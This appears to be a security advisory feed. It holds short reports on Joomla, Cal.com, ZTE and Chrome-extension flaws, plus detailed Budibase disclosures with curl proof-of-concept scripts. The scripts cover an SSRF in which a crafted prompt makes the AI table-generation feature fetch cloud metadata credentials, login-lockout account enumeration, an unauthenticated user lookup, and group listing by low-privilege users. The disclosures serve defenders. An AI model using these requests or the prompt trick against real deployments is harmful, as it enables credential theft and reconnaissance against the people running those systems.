Search: h-w-g.com

Joomla Extension - joomshaper.com - Unauthenticated SQL injection in SP Page Builder < 6.7.1 - Improper validation of order parameters in the Dynamic Content endpoint leads to an SQL injection vector.

Joomla Extension - joomshaper.com - Authenticated arbitrary file delete in SP Page Builder < 6.7.1- Improper path validation and ACL checks lead to a file deletion vector in the media manager.

The Activity zte.com.cn.filer/zte.com.cn.filer.FilePreViewActivity within ZTE File Manager is designed to preview compressed files. Third-party applications can launch this Activity and supply arbitrary file paths (e.g., content://zte.com.cn.filer.fileprovider/root_path), enabling file access with the privilege level of ZTE File Manager. This allows unrooted devices to read files under certain system directories such as /data/data and /data/local/tmp. If access restrictions do not block untrusted applications, additional directories may also be accessible.

OffsetInspect v3.0.0 – track how Defender signature updates shift detection boundaries across a corpus [PowerShell, MIT] Source: https://github.com/warpedatom/OffsetInspect

The Chrome extension "Planet Search" with approximately 2 million installs is a search hijacker that routes all user queries through a chain of undisclosed redirects ending at nextgeeker.com, a domain flagged by multiple vendors as a browser hijacker. The extension declares itself as a default search provider but does not disclose the intermediate redirects or the affiliate monetization relationship. The extension's code is minimal and does not reveal this behavior, as the redirect logic is entirely server-side. Users receive standard Google Custom Search results, but their queries transit through third-party domains that may observe search data. The extension is published by FREE VPN PLANET SRL, which also offers other extensions under investigation. The threat was reported to the Chrome Web Store and Google Safe Browsing on 2026-07-25.

To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle

# Budibase: SSRF via bare fetch() in uploadUrl during AI table generation ## Summary The `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs). A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources. This is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF. ## Affected Versions <= 3.39.0 (current `lerna.json` version at time of analysis) ## Vulnerability Details ### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check ```typescript // packages/server/src/utilities/fileUtils.ts:21-23 export async function uploadUrl(url: string): Promise<Upload | undefined> { try { const res = await fetch(url) // No blacklist validation ``` This is called from: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114 async function processAttachments( entry: Record<string, any>, attachmentColumns: FieldSchema[] ) { function processAttachment(value: any) { if (typeof value === "object") { return uploadFile(value) } return uploadUrl(value) // String values treated as URLs, fetched without protection } ``` Which is triggered via `generateRows()` at line 34: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:34 await processAttachments(entry, attachmentColumns) ``` ### Compare with correct sibling: processUrlFile() in extract.ts ```typescript // packages/server/src/automations/steps/ai/extract.ts:139-144 async function processUrlFile( fileUrl: string, fileType: SupportedFileType, llm: LLMResponse ): Promise<ExtractInput> { const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist ``` The `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request: ```typescript // packages/server/src/automations/steps/utils.ts:100-112 export async function fetchWithBlacklist( url: string, request: RequestInit = {} ): Promise<Response> { const maxRedirects = 5 let nextUrl = url // ... for (let redirects = 0; redirects <= maxRedirects; redirects++) { await throwIfBlacklisted(nextUrl) // Validates against private IP ranges const response = await fetch(nextUrl, nextRequest) ``` ## Proof of Concept Prerequisites: Builder-level authentication, AI feature enabled on the instance. ```bash # Step 1: Authenticate as builder TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \ -H 'Content-Type: application/json' \ -d '{"username":"builder@example.com","password":"password123"}' \ -c - | grep budibase:auth | awk '{print $NF}') # Step 2: Create an app with a table that has an attachment column APP_ID="app_dev_xxxx" # Use existing app # Step 3: Use the AI table generation endpoint with a prompt designed to # produce internal URLs as attachment values. # The LLM will generate rows with attachment column values pointing to # internal services. curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \ -H "Content-Type: application/json" \ -H "Cookie: budibase:auth=$TOKEN" \ -d '{ "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/" }' # The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/") # which fetches the cloud metadata endpoint without any SSRF protection. # The response content is saved to object storage and a URL is returned in the row data. # Step 4: Read the created row to exfiltrate the metadata response curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \ -H "Cookie: budibase:auth=$TOKEN" # The attachment URL in the response points to the saved metadata content ``` ## Impact - Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens) - Internal service enumeration and data exfiltration from private network resources - Port scanning of internal infrastructure via timing/error differences - Bypass of network segmentation when Budibase is deployed in a DMZ or VPC ## Suggested Remediation Replace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`: ```typescript // packages/server/src/utilities/fileUtils.ts import fs from "fs" -import fetch from "node-fet

## Summary The login lockout mechanism in Budibase creates an observable response discrepancy that allows unauthenticated attackers to enumerate valid email addresses. When an existing user's account is locked after 5 failed login attempts, the server returns a distinct `403` response with `X-Account-Locked: 1` and `Retry-After: 900` headers plus the message "Account temporarily locked." For non-existing users, the response is always a generic `403 "Unauthorized"` regardless of attempt count, because the lockout counter is never incremented. ## Details The vulnerability exists in two files that implement the login lockout feature: **`packages/worker/src/middleware/lockout.ts:18-36`** — The lockout middleware only blocks requests for users that exist in the database AND are locked: ```typescript export default async (ctx: Ctx, next: Next) => { const email = ctx.request.body.username if (!email) { return await next() } const dbUser = await userSdk.db.getUserByEmail(email) if (dbUser && (await isLocked(email))) { // line 26: non-existing users skip this entirely ctx.set("X-Account-Locked", "1") ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS)) ctx.throw(403, "Account temporarily locked. Try again later.") } return await next() } ``` **`packages/worker/src/api/controllers/global/auth.ts:127-141`** — The login handler only increments the failure counter for existing users: ```typescript if (err || !user) { if (dbUser) { // line 129: non-existing users never trigger onFailed() await onFailed(email) } if (await isLocked(email)) { return handleLockoutResponse(ctx, email) } // ... return passportCallback(ctx, user as any, err, info) } ``` **Execution flow for existing users (after 5 failed attempts):** 1. `lockout` middleware → `getUserByEmail` returns user → `isLocked` returns true → 403 + `X-Account-Locked: 1` + `Retry-After: 900` + "Account temporarily locked" **Execution flow for non-existing users (any number of attempts):** 1. `lockout` middleware → `getUserByEmail` returns null → `dbUser && isLocked` is false → passes through 2. Login handler → passport fails → `if (dbUser)` is false → `onFailed()` never called → lock never set 3. Always returns 403 "Unauthorized" No IP-based rate limiting exists on the login endpoint (`POST /api/global/auth/:tenantId/login`). The route is registered via `loggedInRoutes` which applies no authentication middleware. The password reset endpoint has proper IP-based rate limiting, but the login endpoint does not. ## PoC ```bash # Test against a known-existing email and a non-existing email # Replace 'default' with the target tenant ID # Step 1: Send 6 login attempts for an existing user echo "=== Testing existing user ===" for i in $(seq 1 6); do echo "--- Attempt $i ---" curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \ -H 'Content-Type: application/json' \ -d '{"username":"local@budibase.com","password":"wrongpassword"}' 2>&1 \ | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized' echo "" done # Expected: Attempts 1-5 return "Unauthorized" # Attempt 6 returns: "Account temporarily locked" + X-Account-Locked: 1 + Retry-After: 900 # Step 2: Send 6 login attempts for a non-existing user echo "=== Testing non-existing user ===" for i in $(seq 1 6); do echo "--- Attempt $i ---" curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \ -H 'Content-Type: application/json' \ -d '{"username":"nonexistent@example.com","password":"wrongpassword"}' 2>&1 \ | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized' echo "" done # Expected: All 6 attempts return "Unauthorized" — no lockout ever triggers # The difference in behavior after 5 attempts confirms whether the email exists. ``` ## Impact - **Account enumeration**: An unauthenticated attacker can determine whether any email address is registered on a Budibase tenant by sending 5-6 login requests and observing whether the response changes to "Account temporarily locked" with the `X-Account-Locked` header. - **No rate limiting**: The login endpoint has no IP-based rate limiting, allowing an attacker to enumerate emails at high speed from a single IP address (~5 requests per email). - **Denial of service side-effect**: Each enumerated existing email is locked out for 15 minutes (900 seconds), preventing legitimate users from logging in during that window. - **Enables further attacks**: Confirmed valid emails can be used for targeted phishing, credential stuffing against other services, or social engineering. ## Recommended Fix The lockout behavior should be identical regardless of whether the user exists. Apply lockout tracking based on the email string itself, not conditioned on database user existence: **`packages/worker/src/middleware/lockout.ts`** — Remove the `dbUser` check: ```typescript export default async (ctx: Ctx, next: Next) => { const

#### Summary The Budibase Worker service exposes a public, unauthenticated API endpoint (`GET /api/global/users/tenant/:id`) that returns sensitive user information including `tenantId`, `userId`, `email`, and `ssoId`. The endpoint is registered in the `PUBLIC_ENDPOINTS` list with a `TODO` comment acknowledging it "should be an internal API." Any unauthenticated party can enumerate user emails or IDs to extract sensitive tenant and user metadata, enabling targeted attacks against multi-tenant deployments. #### Details **Public endpoint registration** at `packages/worker/src/api/index.ts` lines 56-59: ```typescript // TODO: This should be an internal api { route: "/api/global/users/tenant/:id", method: "GET", }, ``` This endpoint is listed in `PUBLIC_ENDPOINTS`, which is passed to `auth.buildAuthMiddleware(PUBLIC_ENDPOINTS)` at line 154. When a request matches a public endpoint pattern, the authentication middleware sets `ctx.publicEndpoint = true` and calls `next()` without performing any authentication (verified at `packages/backend-core/src/middleware/authenticated.ts` lines 124-126, 249-251). All subsequent middleware also skips for public endpoints: - `buildTenancyMiddleware` — passes through - `activeTenant` — passes through - `buildCsrfMiddleware` — skipped for GET methods (line 48 of csrf.ts) - The `budibaseAccess` gate at lines 160-168 explicitly returns `next()` when `ctx.publicEndpoint` is true **Route registration** at `packages/worker/src/api/routes/global/users.ts` line 139: ```typescript loggedInRoutes .get("/api/global/users/tenant/:id", controller.tenantUserLookup) ``` `loggedInRoutes` has no auth middleware group — it is created with `endpointGroupList.group()` (no middleware). **Handler implementation** at `packages/worker/src/api/controllers/global/users.ts` lines 548-562: ```typescript export const tenantUserLookup = async ( ctx: UserCtx<void, LookupTenantUserResponse> ) => { const id = ctx.params.id // is email, check its valid if (id.includes("@") && !emailValidator.validate(id)) { ctx.throw(400, `${id} is not a valid email address to lookup.`) } const user = await userSdk.core.getFirstPlatformUser(id) if (user) { ctx.body = user // Returns full PlatformUser object — no field filtering } else { ctx.throw(400, "No tenant user found.") } } ``` The `id` parameter accepts either an email address (detected by `@` presence) or a user ID. The response returns the **full** `PlatformUser` object from `packages/types/src/documents/platform/users.ts`: ```typescript export interface PlatformUserByEmail extends Document { tenantId: string // Tenant identifier userId: string // Internal user ID } export interface PlatformUserById extends Document { tenantId: string // Tenant identifier email?: string // User email address ssoId?: string // SSO provider identifier } export interface PlatformUserBySsoId extends Document { tenantId: string // Tenant identifier userId: string // Internal user ID email: string // User email address ssoId?: string // SSO provider identifier } ``` The lookup function (`packages/backend-core/src/users/lookup.ts:48-53`) queries the `PLATFORM_USERS_LOWERCASE` CouchDB view with `include_docs: true`, returning the complete platform user document including CouchDB `_id` and `_rev`. **Affected files:** - `packages/worker/src/api/index.ts:56-59` — Public endpoint registration - `packages/worker/src/api/routes/global/users.ts:139` — Route on unauthenticated group - `packages/worker/src/api/controllers/global/users.ts:548-562` — Handler returning full user object - `packages/backend-core/src/users/lookup.ts:48-53` — Platform user lookup with `include_docs: true` - `packages/types/src/documents/platform/users.ts:6-36` — PlatformUser types #### PoC **Static verification:** 1. Observe `packages/worker/src/api/index.ts:56-59`: endpoint in `PUBLIC_ENDPOINTS` with `// TODO: This should be an internal api` 2. Trace handler at `packages/worker/src/api/controllers/global/users.ts:548-562`: no auth checks, returns `ctx.body = user` (full object) 3. Trace middleware chain: all middleware passes through for `ctx.publicEndpoint === true` 4. Confirm no field filtering, sanitization, or authorization between request and response **Dynamic verification (requires running Budibase instance with at least one user):** ```bash # No authentication headers or cookies required # Lookup by email: curl -s http://localhost:4002/api/global/users/tenant/admin@example.com # Response (200 OK): # { # "_id": "admin@example.com", # "_rev": "1-abc123...", # "tenantId": "tenant-uuid-here", # "userId": "us_uuid-here" # } # Lookup by user ID: curl -s http://localhost:4002/api/global/users/tenant/us_someuserid123 # Response (200 OK): # { # "_id": "us_someuserid123", # "_rev": "1-abc123...", # "tenantId": "tenant-uuid-here", # "email": "admin@example.com", # "ssoId": "google-oauth-id"

## Summary The `GET /api/global/groups` endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag. ## Steps to Reproduce ### 1. Start Budibase ```bash docker run -d --name budibase-poc -p 10000:80 \ -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \ -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \ -e API_ENCRYPTION_KEY=api_enc_key_test123456 \ -e BB_ADMIN_USER_EMAIL=admin@test.com \ -e BB_ADMIN_USER_PASSWORD=TestPassword123! \ budibase/budibase:latest until curl -sf http://localhost:10000/health; do sleep 5; done ``` ### 2. Login as admin, create a user group, create a BASIC user ```bash # Login as admin curl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \ -H "Content-Type: application/json" \ -d '{"username":"admin@test.com","password":"TestPassword123!"}' # Create a user group (requires license with user groups feature, or use Budibase Cloud) # On self-hosted without license, groups may not be available # If available: curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \ -H "Content-Type: application/json" \ -d '{"name":"Secret Admin Group","color":"#ff0000","icon":"AdminPanelSettingsIcon","roles":{"app_abc123":"ADMIN"}}' # Create a BASIC user (no builder, no admin) curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \ -H "Content-Type: application/json" \ -d '{"email":"basic@test.com","password":"BasicPass123!","roles":{},"admin":{"global":false},"builder":{"global":false}}' ``` ### 3. Login as BASIC user and enumerate all groups (the vulnerability) ```bash # Login as BASIC user curl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \ -H "Content-Type: application/json" \ -d '{"username":"basic@test.com","password":"BasicPass123!"}' # List ALL groups (should return 403, but returns 200 with full data) curl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups ``` **Expected:** 403 Forbidden (consistent with `GET /api/global/groups/:id` which requires `builderOrAdmin`) **Actual:** 200 OK with full group data including role mappings, member lists, and builder flags. ### Standalone verification (code review) ```bash # In the budibase source tree: grep -A2 'global/groups"' packages/worker/src/api/routes/global/groups.ts ``` Output shows the list endpoint has NO auth middleware: ``` .get("/api/global/groups", # <-- NO auth.builderOrAdmin requireFeature(Feature.USER_GROUPS), controller.fetch ``` Compare with the single-group endpoint directly below: ``` .get("/api/global/groups/:groupId", # <-- HAS auth.builderOrAdmin auth.builderOrAdmin, requireFeature(Feature.USER_GROUPS), controller.getById ``` ## Root Cause File: `packages/worker/src/api/routes/global/groups.ts`, lines 40-44 The list endpoint is the ONLY group endpoint without RBAC: | Endpoint | Auth Middleware | |----------|---------------| | `POST /api/global/groups` | `auth.adminOnly` | | `DELETE /api/global/groups/:id/:rev` | `auth.adminOnly` | | `GET /api/global/groups/:id` | `auth.builderOrAdmin` | | `GET /api/global/groups/:id/users` | `auth.builderOrAdmin` | | **`GET /api/global/groups`** | **NONE** | ## Impact A BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation. ## Suggested Fix ```diff router.get("/api/global/groups", + auth.builderOrAdmin, requireFeature(Feature.USER_GROUPS), controller.fetch ) ```

Europol has flagged 4,340 URLs for removal during a multi-week operation targeting online content linked to "The Com," a loosely organized network of nihilistic violent extremist groups. [...]

This security update provides a functional equivalent of RHSA-2026:45114. The original Red Hat(R) advisory is available from the Red Hat web site at https://access.redhat.com/errata/RHSA-2026:45114.

The URL sbc.questblue.com was observed in the wild as an attacker callback or command-and-control (C2) endpoint. This activity was detected by OffSeq Mirage honeypot sensors on July 24, 2026, with two occurrences noted. The technique involved is T1071, which relates to the use of application layer protocols for command and control. The attacker infrastructure was identified as originating from Finland (FI).

Cal.com (calcom/cal.diy) before 5.9.9 is vulnerable to unauthenticated remote code execution because it bundles a version of Next.js whose React Server Components (RSC) request handling deserializes attacker-controlled input. A remote attacker can send a crafted RSC request to the server and cause arbitrary code to be executed during server-side processing, without authentication or user interaction. The flaw derives from the upstream Next.js vulnerability CVE-2025-55182 and is resolved in 5.9.9 by updating the affected dependency.

Cal.com (calcom/cal.diy) versions through 4.7.15 contain a stored cross-site scripting vulnerability. The single booking view (e.g., https://app.cal.com/booking/<id>) renders booking-question field labels via React's dangerouslySetInnerHTML without sanitizing or escaping user input. An attacker who can create an event type with a malicious booking-question label can inject arbitrary HTML/JavaScript that executes when a victim opens the crafted booking URL. The issue is fixed in v4.7.16.

cal.com (calcom repository, later renamed cal.diy) is affected by a repository takeover vulnerability in its GitHub Actions workflows. The workflow pr.yml uses the pull_request_target trigger with the repository's default write permissions and passes them down to check-types.yml. check-types.yml then performs a 'dangerous' checkout of the attacker-submitted pull request code (via the dangerous-git-checkout action) and subsequently executes it (through yarn install and package.json scripts). An attacker can open a pull request whose code runs arbitrary commands with the repository's write-scoped GITHUB_TOKEN, allowing them to push commits, merge or mutate pull requests, add or delete comments, and delete or force-push branches, thereby compromising the repository. The main branch is affected; no patched version is available.

Cal.com (repository calcom/cal.diy) in versions <= 4.7.15 is vulnerable to cross-site scripting (XSS) on the publicly accessible single booking view (e.g., /booking/<id>). Booking question (form field) labels are rendered via React's dangerouslySetInnerHTML without proper input sanitization or CSP, so an attacker who can create an event type with a malicious booking question label can inject arbitrary HTML/JavaScript that executes when a victim visits the booking view URL. Self-hosted instances with open registration are particularly at risk. The issue is fixed in version 4.7.16.

This release of the Red Hat OpenShift distributed tracing platform (Tempo) provides security improvements. Breaking changes: * None Deprecations: * None Technology Preview features: * None Enhancements: * None Bug fixes: * Punycode labels are no longer processed incorrectly: Before this update, the golang.org/x/net/idna package incorrectly processed certain Punycode labels during internationalized domain name conversion. As a consequence, an attacker could craft a domain name that resolved to a different host than the one that was validated, which could lead to privilege escalation. With this update, Punycode labels are processed correctly. As a result, converted domain names match the validated input. For more information, see https://access.redhat.com/security/cve/cve-2026-39821. * The os.Root type no longer follows symbolic links outside of its root: Before this update, the Go os package did not correctly restrict some operations performed through an os.Root value. As a consequence, an attacker who controlled a symbolic link inside the root directory could traverse outside of it and access files elsewhere on the file system. With this update, operations on an os.Root value are correctly confined to the root directory. As a result, symbolic links can no longer be used to escape the root. For more information, see https://access.redhat.com/security/cve/cve-2026-39822. * The ungetwc function no longer mishandles specific wide character encodings: Before this update, the ungetwc function in the GNU C Library mishandled certain wide character encodings. As a consequence, an application could disclose information or terminate unexpectedly. With this update, the wide character encodings are handled correctly. As a result, the affected applications no longer disclose information or crash. For more information, see https://access.redhat.com/security/cve/cve-2026-5928. * TSIG record processing no longer writes outside the allocated buffer: Before this update, the DNS resolver in the GNU C Library did not correctly validate buffer boundaries when it processed TSIG records. As a consequence, a crafted TSIG record could trigger an out-of-bounds write and cause memory corruption. With this update, the buffer boundaries are validated correctly. As a result, TSIG record processing no longer writes outside the allocated buffer. For more information, see https://access.redhat.com/security/cve/cve-2026-5435. * Crafted DNS responses no longer cause a crash or an uninitialized memory read: Before this update, the DNS resolver in the GNU C Library did not correctly handle malformed responses. As a consequence, a crafted DNS response could cause an application to read uninitialized memory or terminate unexpectedly. With this update, malformed responses are handled correctly. As a result, the affected applications no longer crash or read uninitialized memory. For more information, see https://access.redhat.com/security/cve/cve-2026-6238. Known issues: * None

Joomla Extension - joomshaper.com - unauthenticated payment/order forgery in Easy Store extension 1.0.0-2.0.1 - Critical order and payment information, including states, are processed from client side input, enabling unauthenticated attackers to manipulate payment and order states of arbritrary orders.

Joomla Extension - joomshaper.com - Unauthenticated SQL injection in Easy Store extension 1.0.0-2.0.1 - Improper validation of order parameters lead to an unauthenticated SQL injection in easystore, allowing full DB read access including credentials and sessions.